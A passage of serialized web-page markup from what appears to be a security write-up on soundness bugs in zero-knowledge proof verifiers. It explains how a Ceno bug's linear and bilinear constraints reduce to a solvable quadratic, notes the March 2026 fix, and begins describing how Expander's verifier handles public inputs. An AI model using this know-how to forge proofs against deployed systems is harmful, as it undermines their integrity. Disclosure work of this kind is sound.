:24,"tag":90,"props":121850,"children":121852},{"className":121851,"style":94877},[6396],[121853],{"type":29,"value":5482},{"type":24,"tag":90,"props":121855,"children":121857},{"className":121856},[6396,29],[121858],{"type":24,"tag":90,"props":121859,"children":121861},{"className":121860},[6396],[121862],{"type":29,"value":120551},{"type":24,"tag":90,"props":121864,"children":121866},{"className":121865,"style":94877},[6396],[121867],{"type":29,"value":5482},{"type":24,"tag":90,"props":121869,"children":121871},{"className":121870},[6396,29],[121872],{"type":24,"tag":90,"props":121873,"children":121875},{"className":121874},[6396],[121876],{"type":29,"value":120570},{"type":24,"tag":90,"props":121878,"children":121880},{"className":121879},[23513],[121881],{"type":29,"value":719},{"type":24,"tag":90,"props":121883,"children":121885},{"className":121884},[6396],[121886],{"type":29,"value":6408},{"type":24,"tag":90,"props":121888,"children":121890},{"className":121889},[23535],[121891],{"type":29,"value":1914},{"type":24,"tag":90,"props":121893,"children":121895},{"className":121894},[23513],[121896],{"type":29,"value":719},{"type":24,"tag":90,"props":121898,"children":121900},{"className":121899},[6396],[121901],{"type":29,"value":534},{"type":24,"tag":90,"props":121903,"children":121905},{"className":121904},[23535],[121906],{"type":29,"value":1914},{"type":29,"value":121908}," we get the following constraint:",{"type":24,"tag":25,"props":121910,"children":121911},{},[121912],{"type":24,"tag":32,"props":121913,"children":121915},{"className":121914},[6368,6369],[121916],{"type":24,"tag":90,"props":121917,"children":121919},{"className":121918},[6374],[121920],{"type":24,"tag":90,"props":121921,"children":121923},{"className":121922,"ariaHidden":6380},[6379],[121924,122003,122081,122122],{"type":24,"tag":90,"props":121925,"children":121927},{"className":121926},[6385],[121928,121933,121990,121994,121999],{"type":24,"tag":90,"props":121929,"children":121932},{"className":121930,"style":121931},[6390],"height:0.5945em;vertical-align:-0.15em;",[],{"type":24,"tag":90,"props":121934,"children":121936},{"className":121935},[6396],[121937,121942],{"type":24,"tag":90,"props":121938,"children":121940},{"className":121939},[6396,23384],[121941],{"type":29,"value":21070},{"type":24,"tag":90,"props":121943,"children":121945},{"className":121944},[6412],[121946],{"type":24,"tag":90,"props":121947,"children":121949},{"className":121948},[6417,23438],[121950,121979],{"type":24,"tag":90,"props":121951,"children":121953},{"className":121952},[6422],[121954,121974],{"type":24,"tag":90,"props":121955,"children":121957},{"className":121956,"style":94929},[6427],[121958],{"type":24,"tag":90,"props":121959,"children":121960},{"style":94933},[121961,121965],{"type":24,"tag":90,"props":121962,"children":121964},{"className":121963,"style":6437},[6436],[],{"type":24,"tag":90,"props":121966,"children":121968},{"className":121967},[6442,6443,6444,6445],[121969],{"type":24,"tag":90,"props":121970,"children":121972},{"className":121971},[6396,6445],[121973],{"type":29,"value":6408},{"type":24,"tag":90,"props":121975,"children":121977},{"className":121976},[23541],[121978],{"type":29,"value":23544},{"type":24,"tag":90,"props":121980,"children":121982},{"className":121981},[6422],[121983],{"type":24,"tag":90,"props":121984,"children":121986},{"className":121985,"style":94960},[6427],[121987],{"type":24,"tag":90,"props":121988,"children":121989},{},[],{"type":24,"tag":90,"props":121991,"children":121993},{"className":121992,"style":6476},[6475],[],{"type":24,"tag":90,"props":121995,"children":121997},{"className":121996},[6481],[121998],{"type":29,"value":113139},{"type":24,"tag":90,"props":122000,"children":122002},{"className":122001,"style":6476},[6475],[],{"type":24,"tag":90,"props":122004,"children":122006},{"className":122005},[6385],[122007,122011,122068,122072,122077],{"type":24,"tag":90,"props":122008,"children":122010},{"className":122009,"style":121931},[6390],[],{"type":24,"tag":90,"props":122012,"children":122014},{"className":122013},[6396],[122015,122020],{"type":24,"tag":90,"props":122016,"children":122018},{"className":122017},[6396,23384],[122019],{"type":29,"value":21070},{"type":24,"tag":90,"props":122021,"children":122023},{"className":122022},[6412],[122024],{"type":24,"tag":90,"props":122025,"children":122027},{"className":122026},[6417,23438],[122028,122057],{"type":24,"tag":90,"props":122029,"children":122031},{"className":122030},[6422],[122032,122052],{"type":24,"tag":90,"props":122033,"children":122035},{"className":122034,"style":94929},[6427],[122036],{"type":24,"tag":90,"props":122037,"children":122038},{"style":94933},[122039,122043],{"type":24,"tag":90,"props":122040,"children":122042},{"className":122041,"style":6437},[6436],[],{"type":24,"tag":90,"props":122044,"children":122046},{"className":122045},[6442,6443,6444,6445],[122047],{"type":24,"tag":90,"props":122048,"children":122050},{"className":122049},[6396,6445],[122051],{"type":29,"value":534},{"type":24,"tag":90,"props":122053,"children":122055},{"className":122054},[23541],[122056],{"type":29,"value":23544},{"type":24,"tag":90,"props":122058,"children":122060},{"className":122059},[6422],[122061],{"type":24,"tag":90,"props":122062,"children":122064},{"className":122063,"style":94960},[6427],[122065],{"type":24,"tag":90,"props":122066,"children":122067},{},[],{"type":24,"tag":90,"props":122069,"children":122071},{"className":122070,"style":6476},[6475],[],{"type":24,"tag":90,"props":122073,"children":122075},{"className":122074},[6481],[122076],{"type":29,"value":113139},{"type":24,"tag":90,"props":122078,"children":122080},{"className":122079,"style":6476},[6475],[],{"type":24,"tag":90,"props":122082,"children":122084},{"className":122083},[6385],[122085,122089,122094,122104,122109,122113,122118],{"type":24,"tag":90,"props":122086,"children":122088},{"className":122087,"style":6496},[6390],[],{"type":24,"tag":90,"props":122090,"children":122092},{"className":122091},[23513],[122093],{"type":29,"value":117},{"type":24,"tag":90,"props":122095,"children":122097},{"className":122096},[6396,29],[122098],{"type":24,"tag":90,"props":122099,"children":122101},{"className":122100},[6396],[122102],{"type":29,"value":122103},"rest of product",{"type":24,"tag":90,"props":122105,"children":122107},{"className":122106},[23535],[122108],{"type":29,"value":517},{"type":24,"tag":90,"props":122110,"children":122112},{"className":122111,"style":6573},[6475],[],{"type":24,"tag":90,"props":122114,"children":122116},{"className":122115},[6578],[122117],{"type":29,"value":5491},{"type":24,"tag":90,"props":122119,"children":122121},{"className":122120,"style":6573},[6475],[],{"type":24,"tag":90,"props":122123,"children":122125},{"className":122124},[6385],[122126,122130],{"type":24,"tag":90,"props":122127,"children":122129},{"className":122128,"style":116897},[6390],[],{"type":24,"tag":90,"props":122131,"children":122133},{"className":122132},[6396,29],[122134],{"type":24,"tag":90,"props":122135,"children":122137},{"className":122136},[6396],[122138],{"type":29,"value":116908},{"type":24,"tag":25,"props":122140,"children":122141},{},[122142,122144,122297],{"type":29,"value":122143},"This is bilinear in ",{"type":24,"tag":32,"props":122145,"children":122147},{"className":122146},[6368,6369],[122148],{"type":24,"tag":90,"props":122149,"children":122151},{"className":122150},[6374],[122152],{"type":24,"tag":90,"props":122153,"children":122155},{"className":122154,"ariaHidden":6380},[6379],[122156],{"type":24,"tag":90,"props":122157,"children":122159},{"className":122158},[6385],[122160,122164,122169,122226,122231,122235,122292],{"type":24,"tag":90,"props":122161,"children":122163},{"className":122162,"style":6496},[6390],[],{"type":24,"tag":90,"props":122165,"children":122167},{"className":122166},[23513],[122168],{"type":29,"value":117},{"type":24,"tag":90,"props":122170,"children":122172},{"className":122171},[6396],[122173,122178],{"type":24,"tag":90,"props":122174,"children":122176},{"className":122175},[6396,23384],[122177],{"type":29,"value":21070},{"type":24,"tag":90,"props":122179,"children":122181},{"className":122180},[6412],[122182],{"type":24,"tag":90,"props":122183,"children":122185},{"className":122184},[6417,23438],[122186,122215],{"type":24,"tag":90,"props":122187,"children":122189},{"className":122188},[6422],[122190,122210],{"type":24,"tag":90,"props":122191,"children":122193},{"className":122192,"style":94929},[6427],[122194],{"type":24,"tag":90,"props":122195,"children":122196},{"style":94933},[122197,122201],{"type":24,"tag":90,"props":122198,"children":122200},{"className":122199,"style":6437},[6436],[],{"type":24,"tag":90,"props":122202,"children":122204},{"className":122203},[6442,6443,6444,6445],[122205],{"type":24,"tag":90,"props":122206,"children":122208},{"className":122207},[6396,6445],[122209],{"type":29,"value":6408},{"type":24,"tag":90,"props":122211,"children":122213},{"className":122212},[23541],[122214],{"type":29,"value":23544},{"type":24,"tag":90,"props":122216,"children":122218},{"className":122217},[6422],[122219],{"type":24,"tag":90,"props":122220,"children":122222},{"className":122221,"style":94960},[6427],[122223],{"type":24,"tag":90,"props":122224,"children":122225},{},[],{"type":24,"tag":90,"props":122227,"children":122229},{"className":122228},[6507],[122230],{"type":29,"value":6510},{"type":24,"tag":90,"props":122232,"children":122234},{"className":122233,"style":6514},[6475],[],{"type":24,"tag":90,"props":122236,"children":122238},{"className":122237},[6396],[122239,122244],{"type":24,"tag":90,"props":122240,"children":122242},{"className":122241},[6396,23384],[122243],{"type":29,"value":21070},{"type":24,"tag":90,"props":122245,"children":122247},{"className":122246},[6412],[122248],{"type":24,"tag":90,"props":122249,"children":122251},{"className":122250},[6417,23438],[122252,122281],{"type":24,"tag":90,"props":122253,"children":122255},{"className":122254},[6422],[122256,122276],{"type":24,"tag":90,"props":122257,"children":122259},{"className":122258,"style":94929},[6427],[122260],{"type":24,"tag":90,"props":122261,"children":122262},{"style":94933},[122263,122267],{"type":24,"tag":90,"props":122264,"children":122266},{"className":122265,"style":6437},[6436],[],{"type":24,"tag":90,"props":122268,"children":122270},{"className":122269},[6442,6443,6444,6445],[122271],{"type":24,"tag":90,"props":122272,"children":122274},{"className":122273},[6396,6445],[122275],{"type":29,"value":534},{"type":24,"tag":90,"props":122277,"children":122279},{"className":122278},[23541],[122280],{"type":29,"value":23544},{"type":24,"tag":90,"props":122282,"children":122284},{"className":122283},[6422],[122285],{"type":24,"tag":90,"props":122286,"children":122288},{"className":122287,"style":94960},[6427],[122289],{"type":24,"tag":90,"props":122290,"children":122291},{},[],{"type":24,"tag":90,"props":122293,"children":122295},{"className":122294},[23535],[122296],{"type":29,"value":517},{"type":29,"value":226},{"type":24,"tag":25,"props":122299,"children":122300},{},[122301,122303,122456],{"type":29,"value":122302},"We have two unknowns ",{"type":24,"tag":32,"props":122304,"children":122306},{"className":122305},[6368,6369],[122307],{"type":24,"tag":90,"props":122308,"children":122310},{"className":122309},[6374],[122311],{"type":24,"tag":90,"props":122312,"children":122314},{"className":122313,"ariaHidden":6380},[6379],[122315],{"type":24,"tag":90,"props":122316,"children":122318},{"className":122317},[6385],[122319,122323,122328,122385,122390,122394,122451],{"type":24,"tag":90,"props":122320,"children":122322},{"className":122321,"style":6496},[6390],[],{"type":24,"tag":90,"props":122324,"children":122326},{"className":122325},[23513],[122327],{"type":29,"value":117},{"type":24,"tag":90,"props":122329,"children":122331},{"className":122330},[6396],[122332,122337],{"type":24,"tag":90,"props":122333,"children":122335},{"className":122334},[6396,23384],[122336],{"type":29,"value":21070},{"type":24,"tag":90,"props":122338,"children":122340},{"className":122339},[6412],[122341],{"type":24,"tag":90,"props":122342,"children":122344},{"className":122343},[6417,23438],[122345,122374],{"type":24,"tag":90,"props":122346,"children":122348},{"className":122347},[6422],[122349,122369],{"type":24,"tag":90,"props":122350,"children":122352},{"className":122351,"style":94929},[6427],[122353],{"type":24,"tag":90,"props":122354,"children":122355},{"style":94933},[122356,122360],{"type":24,"tag":90,"props":122357,"children":122359},{"className":122358,"style":6437},[6436],[],{"type":24,"tag":90,"props":122361,"children":122363},{"className":122362},[6442,6443,6444,6445],[122364],{"type":24,"tag":90,"props":122365,"children":122367},{"className":122366},[6396,6445],[122368],{"type":29,"value":6408},{"type":24,"tag":90,"props":122370,"children":122372},{"className":122371},[23541],[122373],{"type":29,"value":23544},{"type":24,"tag":90,"props":122375,"children":122377},{"className":122376},[6422],[122378],{"type":24,"tag":90,"props":122379,"children":122381},{"className":122380,"style":94960},[6427],[122382],{"type":24,"tag":90,"props":122383,"children":122384},{},[],{"type":24,"tag":90,"props":122386,"children":122388},{"className":122387},[6507],[122389],{"type":29,"value":6510},{"type":24,"tag":90,"props":122391,"children":122393},{"className":122392,"style":6514},[6475],[],{"type":24,"tag":90,"props":122395,"children":122397},{"className":122396},[6396],[122398,122403],{"type":24,"tag":90,"props":122399,"children":122401},{"className":122400},[6396,23384],[122402],{"type":29,"value":21070},{"type":24,"tag":90,"props":122404,"children":122406},{"className":122405},[6412],[122407],{"type":24,"tag":90,"props":122408,"children":122410},{"className":122409},[6417,23438],[122411,122440],{"type":24,"tag":90,"props":122412,"children":122414},{"className":122413},[6422],[122415,122435],{"type":24,"tag":90,"props":122416,"children":122418},{"className":122417,"style":94929},[6427],[122419],{"type":24,"tag":90,"props":122420,"children":122421},{"style":94933},[122422,122426],{"type":24,"tag":90,"props":122423,"children":122425},{"className":122424,"style":6437},[6436],[],{"type":24,"tag":90,"props":122427,"children":122429},{"className":122428},[6442,6443,6444,6445],[122430],{"type":24,"tag":90,"props":122431,"children":122433},{"className":122432},[6396,6445],[122434],{"type":29,"value":534},{"type":24,"tag":90,"props":122436,"children":122438},{"className":122437},[23541],[122439],{"type":29,"value":23544},{"type":24,"tag":90,"props":122441,"children":122443},{"className":122442},[6422],[122444],{"type":24,"tag":90,"props":122445,"children":122447},{"className":122446,"style":94960},[6427],[122448],{"type":24,"tag":90,"props":122449,"children":122450},{},[],{"type":24,"tag":90,"props":122452,"children":122454},{"className":122453},[23535],[122455],{"type":29,"value":517},{"type":29,"value":122457}," and two equations, one linear and one bilinear:",{"type":24,"tag":3100,"props":122459,"children":122460},{},[122461,122788],{"type":24,"tag":3104,"props":122462,"children":122463},{},[122464,122466],{"type":29,"value":122465},"Linear (from GKR): ",{"type":24,"tag":32,"props":122467,"children":122469},{"className":122468},[6368,6369],[122470],{"type":24,"tag":90,"props":122471,"children":122473},{"className":122472},[6374],[122474],{"type":24,"tag":90,"props":122475,"children":122477},{"className":122476,"ariaHidden":6380},[6379],[122478,122614,122749,122775],{"type":24,"tag":90,"props":122479,"children":122481},{"className":122480},[6385],[122482,122487,122544,122601,122605,122610],{"type":24,"tag":90,"props":122483,"children":122486},{"className":122484,"style":122485},[6390],"height:0.7333em;vertical-align:-0.15em;",[],{"type":24,"tag":90,"props":122488,"children":122490},{"className":122489},[6396],[122491,122496],{"type":24,"tag":90,"props":122492,"children":122494},{"className":122493},[6396,23384],[122495],{"type":29,"value":69},{"type":24,"tag":90,"props":122497,"children":122499},{"className":122498},[6412],[122500],{"type":24,"tag":90,"props":122501,"children":122503},{"className":122502},[6417,23438],[122504,122533],{"type":24,"tag":90,"props":122505,"children":122507},{"className":122506},[6422],[122508,122528],{"type":24,"tag":90,"props":122509,"children":122511},{"className":122510,"style":94929},[6427],[122512],{"type":24,"tag":90,"props":122513,"children":122514},{"style":94933},[122515,122519],{"type":24,"tag":90,"props":122516,"children":122518},{"className":122517,"style":6437},[6436],[],{"type":24,"tag":90,"props":122520,"children":122522},{"className":122521},[6442,6443,6444,6445],[122523],{"type":24,"tag":90,"props":122524,"children":122526},{"className":122525},[6396,6445],[122527],{"type":29,"value":6408},{"type":24,"tag":90,"props":122529,"children":122531},{"className":122530},[23541],[122532],{"type":29,"value":23544},{"type":24,"tag":90,"props":122534,"children":122536},{"className":122535},[6422],[122537],{"type":24,"tag":90,"props":122538,"children":122540},{"className":122539,"style":94960},[6427],[122541],{"type":24,"tag":90,"props":122542,"children":122543},{},[],{"type":24,"tag":90,"props":122545,"children":122547},{"className":122546},[6396],[122548,122553],{"type":24,"tag":90,"props":122549,"children":122551},{"className":122550},[6396,23384],[122552],{"type":29,"value":21070},{"type":24,"tag":90,"props":122554,"children":122556},{"className":122555},[6412],[122557],{"type":24,"tag":90,"props":122558,"children":122560},{"className":122559},[6417,23438],[122561,122590],{"type":24,"tag":90,"props":122562,"children":122564},{"className":122563},[6422],[122565,122585],{"type":24,"tag":90,"props":122566,"children":122568},{"className":122567,"style":94929},[6427],[122569],{"type":24,"tag":90,"props":122570,"children":122571},{"style":94933},[122572,122576],{"type":24,"tag":90,"props":122573,"children":122575},{"className":122574,"style":6437},[6436],[],{"type":24,"tag":90,"props":122577,"children":122579},{"className":122578},[6442,6443,6444,6445],[122580],{"type":24,"tag":90,"props":122581,"children":122583},{"className":122582},[6396,6445],[122584],{"type":29,"value":6408},{"type":24,"tag":90,"props":122586,"children":122588},{"className":122587},[23541],[122589],{"type":29,"value":23544},{"type":24,"tag":90,"props":122591,"children":122593},{"className":122592},[6422],[122594],{"type":24,"tag":90,"props":122595,"children":122597},{"className":122596,"style":94960},[6427],[122598],{"type":24,"tag":90,"props":122599,"children":122600},{},[],{"type":24,"tag":90,"props":122602,"children":122604},{"className":122603,"style":6476},[6475],[],{"type":24,"tag":90,"props":122606,"children":122608},{"className":122607},[6481],[122609],{"type":29,"value":6767},{"type":24,"tag":90,"props":122611,"children":122613},{"className":122612,"style":6476},[6475],[],{"type":24,"tag":90,"props":122615,"children":122617},{"className":122616},[6385],[122618,122622,122679,122736,122740,122745],{"type":24,"tag":90,"props":122619,"children":122621},{"className":122620,"style":122485},[6390],[],{"type":24,"tag":90,"props":122623,"children":122625},{"className":122624},[6396],[122626,122631],{"type":24,"tag":90,"props":122627,"children":122629},{"className":122628},[6396,23384],[122630],{"type":29,"value":69},{"type":24,"tag":90,"props":122632,"children":122634},{"className":122633},[6412],[122635],{"type":24,"tag":90,"props":122636,"children":122638},{"className":122637},[6417,23438],[122639,122668],{"type":24,"tag":90,"props":122640,"children":122642},{"className":122641},[6422],[122643,122663],{"type":24,"tag":90,"props":122644,"children":122646},{"className":122645,"style":94929},[6427],[122647],{"type":24,"tag":90,"props":122648,"children":122649},{"style":94933},[122650,122654],{"type":24,"tag":90,"props":122651,"children":122653},{"className":122652,"style":6437},[6436],[],{"type":24,"tag":90,"props":122655,"children":122657},{"className":122656},[6442,6443,6444,6445],[122658],{"type":24,"tag":90,"props":122659,"children":122661},{"className":122660},[6396,6445],[122662],{"type":29,"value":534},{"type":24,"tag":90,"props":122664,"children":122666},{"className":122665},[23541],[122667],{"type":29,"value":23544},{"type":24,"tag":90,"props":122669,"children":122671},{"className":122670},[6422],[122672],{"type":24,"tag":90,"props":122673,"children":122675},{"className":122674,"style":94960},[6427],[122676],{"type":24,"tag":90,"props":122677,"children":122678},{},[],{"type":24,"tag":90,"props":122680,"children":122682},{"className":122681},[6396],[122683,122688],{"type":24,"tag":90,"props":122684,"children":122686},{"className":122685},[6396,23384],[122687],{"type":29,"value":21070},{"type":24,"tag":90,"props":122689,"children":122691},{"className":122690},[6412],[122692],{"type":24,"tag":90,"props":122693,"children":122695},{"className":122694},[6417,23438],[122696,122725],{"type":24,"tag":90,"props":122697,"children":122699},{"className":122698},[6422],[122700,122720],{"type":24,"tag":90,"props":122701,"children":122703},{"className":122702,"style":94929},[6427],[122704],{"type":24,"tag":90,"props":122705,"children":122706},{"style":94933},[122707,122711],{"type":24,"tag":90,"props":122708,"children":122710},{"className":122709,"style":6437},[6436],[],{"type":24,"tag":90,"props":122712,"children":122714},{"className":122713},[6442,6443,6444,6445],[122715],{"type":24,"tag":90,"props":122716,"children":122718},{"className":122717},[6396,6445],[122719],{"type":29,"value":534},{"type":24,"tag":90,"props":122721,"children":122723},{"className":122722},[23541],[122724],{"type":29,"value":23544},{"type":24,"tag":90,"props":122726,"children":122728},{"className":122727},[6422],[122729],{"type":24,"tag":90,"props":122730,"children":122732},{"className":122731,"style":94960},[6427],[122733],{"type":24,"tag":90,"props":122734,"children":122735},{},[],{"type":24,"tag":90,"props":122737,"children":122739},{"className":122738,"style":6476},[6475],[],{"type":24,"tag":90,"props":122741,"children":122743},{"className":122742},[6481],[122744],{"type":29,"value":6767},{"type":24,"tag":90,"props":122746,"children":122748},{"className":122747,"style":6476},[6475],[],{"type":24,"tag":90,"props":122750,"children":122752},{"className":122751},[6385],[122753,122757,122762,122766,122771],{"type":24,"tag":90,"props":122754,"children":122756},{"className":122755,"style":112718},[6390],[],{"type":24,"tag":90,"props":122758,"children":122760},{"className":122759},[6396,23384],[122761],{"type":29,"value":3030},{"type":24,"tag":90,"props":122763,"children":122765},{"className":122764,"style":6573},[6475],[],{"type":24,"tag":90,"props":122767,"children":122769},{"className":122768},[6578],[122770],{"type":29,"value":5491},{"type":24,"tag":90,"props":122772,"children":122774},{"className":122773,"style":6573},[6475],[],{"type":24,"tag":90,"props":122776,"children":122778},{"className":122777},[6385],[122779,122783],{"type":24,"tag":90,"props":122780,"children":122782},{"className":122781,"style":95908},[6390],[],{"type":24,"tag":90,"props":122784,"children":122786},{"className":122785},[6396],[122787],{"type":29,"value":6408},{"type":24,"tag":3104,"props":122789,"children":122790},{},[122791,122793],{"type":29,"value":122792},"Bilinear (from multiset): ",{"type":24,"tag":32,"props":122794,"children":122796},{"className":122795},[6368,6369],[122797],{"type":24,"tag":90,"props":122798,"children":122800},{"className":122799},[6374],[122801],{"type":24,"tag":90,"props":122802,"children":122804},{"className":122803,"ariaHidden":6380},[6379],[122805,122831,122909,122987,123013],{"type":24,"tag":90,"props":122806,"children":122808},{"className":122807},[6385],[122809,122813,122818,122822,122827],{"type":24,"tag":90,"props":122810,"children":122812},{"className":122811,"style":94792},[6390],[],{"type":24,"tag":90,"props":122814,"children":122816},{"className":122815,"style":96306},[6396,23384],[122817],{"type":29,"value":90514},{"type":24,"tag":90,"props":122819,"children":122821},{"className":122820,"style":6476},[6475],[],{"type":24,"tag":90,"props":122823,"children":122825},{"className":122824},[6481],[122826],{"type":29,"value":113139},{"type":24,"tag":90,"props":122828,"children":122830},{"className":122829,"style":6476},[6475],[],{"type":24,"tag":90,"props":122832,"children":122834},{"className":122833},[6385],[122835,122839,122896,122900,122905],{"type":24,"tag":90,"props":122836,"children":122838},{"className":122837,"style":121931},[6390],[],{"type":24,"tag":90,"props":122840,"children":122842},{"className":122841},[6396],[122843,122848],{"type":24,"tag":90,"props":122844,"children":122846},{"className":122845},[6396,23384],[122847],{"type":29,"value":21070},{"type":24,"tag":90,"props":122849,"children":122851},{"className":122850},[6412],[122852],{"type":24,"tag":90,"props":122853,"children":122855},{"className":122854},[6417,23438],[122856,122885],{"type":24,"tag":90,"props":122857,"children":122859},{"className":122858},[6422],[122860,122880],{"type":24,"tag":90,"props":122861,"children":122863},{"className":122862,"style":94929},[6427],[122864],{"type":24,"tag":90,"props":122865,"children":122866},{"style":94933},[122867,122871],{"type":24,"tag":90,"props":122868,"children":122870},{"className":122869,"style":6437},[6436],[],{"type":24,"tag":90,"props":122872,"children":122874},{"className":122873},[6442,6443,6444,6445],[122875],{"type":24,"tag":90,"props":122876,"children":122878},{"className":122877},[6396,6445],[122879],{"type":29,"value":6408},{"type":24,"tag":90,"props":122881,"children":122883},{"className":122882},[23541],[122884],{"type":29,"value":23544},{"type":24,"tag":90,"props":122886,"children":122888},{"className":122887},[6422],[122889],{"type":24,"tag":90,"props":122890,"children":122892},{"className":122891,"style":94960},[6427],[122893],{"type":24,"tag":90,"props":122894,"children":122895},{},[],{"type":24,"tag":90,"props":122897,"children":122899},{"className":122898,"style":6476},[6475],[],{"type":24,"tag":90,"props":122901,"children":122903},{"className":122902},[6481],[122904],{"type":29,"value":113139},{"type":24,"tag":90,"props":122906,"children":122908},{"className":122907,"style":6476},[6475],[],{"type":24,"tag":90,"props":122910,"children":122912},{"className":122911},[6385],[122913,122917,122974,122978,122983],{"type":24,"tag":90,"props":122914,"children":122916},{"className":122915,"style":122485},[6390],[],{"type":24,"tag":90,"props":122918,"children":122920},{"className":122919},[6396],[122921,122926],{"type":24,"tag":90,"props":122922,"children":122924},{"className":122923},[6396,23384],[122925],{"type":29,"value":21070},{"type":24,"tag":90,"props":122927,"children":122929},{"className":122928},[6412],[122930],{"type":24,"tag":90,"props":122931,"children":122933},{"className":122932},[6417,23438],[122934,122963],{"type":24,"tag":90,"props":122935,"children":122937},{"className":122936},[6422],[122938,122958],{"type":24,"tag":90,"props":122939,"children":122941},{"className":122940,"style":94929},[6427],[122942],{"type":24,"tag":90,"props":122943,"children":122944},{"style":94933},[122945,122949],{"type":24,"tag":90,"props":122946,"children":122948},{"className":122947,"style":6437},[6436],[],{"type":24,"tag":90,"props":122950,"children":122952},{"className":122951},[6442,6443,6444,6445],[122953],{"type":24,"tag":90,"props":122954,"children":122956},{"className":122955},[6396,6445],[122957],{"type":29,"value":534},{"type":24,"tag":90,"props":122959,"children":122961},{"className":122960},[23541],[122962],{"type":29,"value":23544},{"type":24,"tag":90,"props":122964,"children":122966},{"className":122965},[6422],[122967],{"type":24,"tag":90,"props":122968,"children":122970},{"className":122969,"style":94960},[6427],[122971],{"type":24,"tag":90,"props":122972,"children":122973},{},[],{"type":24,"tag":90,"props":122975,"children":122977},{"className":122976,"style":6476},[6475],[],{"type":24,"tag":90,"props":122979,"children":122981},{"className":122980},[6481],[122982],{"type":29,"value":6767},{"type":24,"tag":90,"props":122984,"children":122986},{"className":122985,"style":6476},[6475],[],{"type":24,"tag":90,"props":122988,"children":122990},{"className":122989},[6385],[122991,122995,123000,123004,123009],{"type":24,"tag":90,"props":122992,"children":122994},{"className":122993,"style":94792},[6390],[],{"type":24,"tag":90,"props":122996,"children":122998},{"className":122997},[6396,23384],[122999],{"type":29,"value":72392},{"type":24,"tag":90,"props":123001,"children":123003},{"className":123002,"style":6573},[6475],[],{"type":24,"tag":90,"props":123005,"children":123007},{"className":123006},[6578],[123008],{"type":29,"value":5491},{"type":24,"tag":90,"props":123010,"children":123012},{"className":123011,"style":6573},[6475],[],{"type":24,"tag":90,"props":123014,"children":123016},{"className":123015},[6385],[123017,123021],{"type":24,"tag":90,"props":123018,"children":123020},{"className":123019,"style":95908},[6390],[],{"type":24,"tag":90,"props":123022,"children":123024},{"className":123023},[6396],[123025],{"type":29,"value":6408},{"type":24,"tag":25,"props":123027,"children":123028},{},[123029],{"type":29,"value":123030},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":24,"tag":25,"props":123032,"children":123033},{},[123034,123038,123040,123047,123049,123056],{"type":24,"tag":7711,"props":123035,"children":123036},{},[123037],{"type":29,"value":118587},{"type":29,"value":123039}," Fixed on March 5, 2026 via ",{"type":24,"tag":69,"props":123041,"children":123044},{"href":123042,"rel":123043},"https://github.com/scroll-tech/ceno/pull/1262",[73],[123045],{"type":29,"value":123046},"PR #1262",{"type":29,"value":123048}," (original report: ",{"type":24,"tag":69,"props":123050,"children":123053},{"href":123051,"rel":123052},"https://github.com/scroll-tech/ceno/issues/1125",[73],[123054],{"type":29,"value":123055},"#1125",{"type":29,"value":517},{"type":24,"tag":20586,"props":123058,"children":123059},{},[],{"type":24,"tag":1019,"props":123061,"children":123063},{"id":123062},"expander-polyhedra",[123064],{"type":29,"value":123065},"Expander (Polyhedra)",{"type":24,"tag":25,"props":123067,"children":123068},{},[123069],{"type":29,"value":123070},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":24,"tag":25,"props":123072,"children":123073},{},[123074],{"type":24,"tag":7711,"props":123075,"children":123076},{},[123077],{"type":29,"value":117293},{"type":24,"tag":80,"props":123079,"children":123081},{"code":123080},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[123082],{"type":24,"tag":32,"props":123083,"children":123084},{"__ignoreMap":7},[123085],{"type":29,"value":123080},{"type":24,"tag":25,"props":123087,"children":123088},{},[123089,123091,123097],{"type":29,"value":123090},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":24,"tag":32,"props":123092,"children":123094},{"className":123093},[],[123095],{"type":29,"value":123096},"eval_cst",{"type":29,"value":123098}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":24,"tag":80,"props":123100,"children":123102},{"code":123101,"language":84,"meta":7,"className":82,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[123103],{"type":24,"tag":32,"props":123104,"children":123105},{"__ignoreMap":7},[123106],{"type":24,"tag":90,"props":123107,"children":123108},{"class":92,"line":93},[123109,123113,123118,123123,123127,123131,123135,123139,123144,123148,123153,123158,123162,123167],{"type":24,"tag":90,"props":123110,"children":123111},{"style":136},[123112],{"type":29,"value":78462},{"type":24,"tag":90,"props":123114,"children":123115},{"style":120},[123116],{"type":29,"value":123117}," -=",{"type":24,"tag":90,"props":123119,"children":123120},{"style":146},[123121],{"type":29,"value":123122}," GKRVerifierHelper",{"type":24,"tag":90,"props":123124,"children":123125},{"style":120},[123126],{"type":29,"value":1211},{"type":24,"tag":90,"props":123128,"children":123129},{"style":108},[123130],{"type":29,"value":123096},{"type":24,"tag":90,"props":123132,"children":123133},{"style":114},[123134],{"type":29,"value":117},{"type":24,"tag":90,"props":123136,"children":123137},{"style":120},[123138],{"type":29,"value":123},{"type":24,"tag":90,"props":123140,"children":123141},{"style":136},[123142],{"type":29,"value":123143},"layer",{"type":24,"tag":90,"props":123145,"children":123146},{"style":120},[123147],{"type":29,"value":226},{"type":24,"tag":90,"props":123149,"children":123150},{"style":114},[123151],{"type":29,"value":123152},"const_, ",{"type":24,"tag":90,"props":123154,"children":123155},{"style":136},[123156],{"type":29,"value":123157},"public_input",{"type":24,"tag":90,"props":123159,"children":123160},{"style":114},[123161],{"type":29,"value":133},{"type":24,"tag":90,"props":123163,"children":123164},{"style":136},[123165],{"type":29,"value":123166},"sp",{"type":24,"tag":90,"props":123168,"children":123169},{"style":114},[123170],{"type":29,"value":571},{"type":24,"tag":25,"props":123172,"children":123173},{},[123174,123176,123181],{"type":29,"value":123175},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":24,"tag":32,"props":123177,"children":123179},{"className":123178},[],[123180],{"type":29,"value":123166},{"type":29,"value":22538},{"type":24,"tag":25,"props":123183,"children":123184},{},[123185],{"type":24,"tag":7711,"props":123186,"children":123187},{},[123188],{"type":29,"value":123189},"The 